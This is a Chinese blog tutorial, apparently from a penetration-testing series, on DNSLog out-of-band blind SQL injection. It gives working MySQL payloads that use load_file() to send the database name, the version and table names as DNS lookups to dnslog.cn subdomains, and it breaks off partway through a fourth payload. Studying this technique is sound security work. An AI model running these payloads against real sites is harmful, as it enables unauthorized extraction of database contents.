84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

本文深入探讨了DNSLog无回显注入的高级技巧,包括原理、免费DNSLog平台的使用,以及在MySQL和SQLSERVER中的示例。通过利用DNS解析日志,可以高效地获取数据库信息,文中详细阐述了不同场景下的payload构造。
摘要由CSDN通过智能技术生成

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、高级注入技巧 dnslog无回显注入

1、原理

       DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息。

       如果将带有查询的语句,发起dns查询请求,通过dns请求查询到值,组合成三级域名,在dns服务器dns的日志中会记录下我们查询的结果。

       无回显注入,一般使用布尔型盲注入和延时注入来逐个猜解数据的字符,但是这两种查询都是很慢。然而dnslog外带查询,因为是直接显示数据,所以这种注入效率上面说的这种都要好太多。

2、dnslog平台

(1)免费的dnslog平台:传送门
在这里插入图片描述

3、MySQL dnslog无回显注入示例:

(1)靶机注入点:target_sys.com/article.php?id=1

(2)查询库当前库-payload1:?id=1 and if((select load_file(concat('\\\\',(select database()),'.vwmh1y.dnslog.cn\\abc'))),1,0)
  # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=
  # 其中【select database()】是我们的注入语句
  # 其中【vwmh1y.dnslog.cn】,是我们之前得到的子域名
在这里插入图片描述

(3)查询数据版本-payload2:?id=1 and if((select load_file(concat('\\\\',(select VERSION()),'.vwmh1y.dnslog.cn\\abc'))),1,0)
  # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=
  # 其中【select version()】是我们的注入语句
  # 其中【vwmh1y.dnslog.cn】,是我们之前得到的子域名

在这里插入图片描述
(4)查询当前库的第一个表名-payload3:?id=1 and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.wdykxm.dnslog.cn\\abc'))),1,0)
  # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=
  # 其中【select username from admin】是我们的注入语句
  # 其中【wdykxm.dnslog.cn】,是我们之前得到的子域名
在这里插入图片描述

(5)查询admin表的帐号-payload4:?id

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值